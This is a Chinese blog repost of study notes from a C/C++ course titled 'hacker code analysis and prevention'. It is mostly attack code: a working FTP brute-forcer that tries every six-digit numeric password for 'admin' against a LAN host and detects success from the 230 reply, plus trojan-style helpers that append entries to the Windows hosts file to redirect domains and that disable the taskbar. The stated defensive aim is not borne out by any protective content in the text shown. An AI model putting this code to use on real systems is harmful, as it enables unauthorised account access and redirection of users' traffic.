码迷,mamicode.com
首页 > 编程语言 > 详细

传智播客c/c++公开课学习笔记--黑客代码分析与预防

时间:2015-05-29 08:39:22      阅读:181      评论:0      收藏:0      [点我收藏+]

标签:

黑客代码分析与预防 笔记


【课程简介】

C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。 

【课程知识点】

1、木马入侵系统的方式;

2、木马入侵到宿主目标后的关键行为分析;

3、可信任端口以及端口扫描技术;

4、远程控制的实现代码实现;

5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;

6、360网络安全防护的实现原理。

#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
	FILE *p = fopen("a.txt", "w");
	if (p)
	{
		char buf[1024] = { 0 };
		sprintf(buf, CONTENT, ip, user, passwd);
		fputs(buf, p);
		fclose(p);
		return 0;//如果成功,返回0
	}
	return -1;//失败,-1
}
int main()
{
	int i;
	for (i = 0; i < 1000000; i++)//假设密码全部由数字组成
	{
		char pass[100] = { 0 };
		sprintf(pass, "%06d", i);//格式化为字符串
		if (write_file("192.168.101.138", "admin", pass) == 0)
		{
			FILE *p = _popen("ftp -n -s:a.txt", "r");
			while (!feof(p))
			{
				char buf[1024] = { 0 };
				fgets(buf, sizeof(buf), p);
				if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功, 
				{
					printf("pass:%s\n", pass);
					return 0;
				}
			}
			_pclose(p);
		}
	}
	return 0;
}


功能函数:

// lockmask.cpp : 定义应用程序的入口点。
//


#include "stdafx.h"
#include "lockmask.h"

// 功能函数 
/*
修改应用程序图标
vs:替换工程名.ico文件
QT:a.找到一张图片.ico,名字改为myapp.ico
b.创建文本文档myapp.rc。 内部添加 IDI_ICON1  ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了;
*/

/*
vs2013辩词额不需要依赖库,同时兼容xp的项目
项目--属性--配置属性--常规--平台工具集--windwos xp
项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT).
*/

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>

#pragma warning(disable:4996)

void getWinVersion()//得到win版本
{
	OSVERSIONINFO a;
	a.dwOSVersionInfoSize = sizeof(a);
	GetVersionEx(&a);
}

int setHosts(const char *IP, const char *domain)//修改hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录
	char path[100] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "%s %s", IP, domain);
	FILE *p = fopen(path, "a");//打开hosts文件
	if (p)
	{
		fputs(content, p);
		fclose(p);
		return 0;
	}
	return -1;
}

HWND getTask()//得到任务栏句柄
{
	typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针
	PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量
	HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库
	if (!hUser32)
		return NULL;
	GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
	if (!GetTaskmanWindow)
		return NULL;
	HWND h = GetTaskmanWindow();
	return GetParent(GetParent(h));
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	HWND h = getTask();
	//EnableWindow(h, false);//将任务栏设置为不可用
	EnableWindow(h, true);//将任务栏设置为可用
	return 0;
}



传智播客c/c++公开课学习笔记--黑客代码分析与预防

标签:

原文地址:http://blog.csdn.net/waldmer/article/details/46122327

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!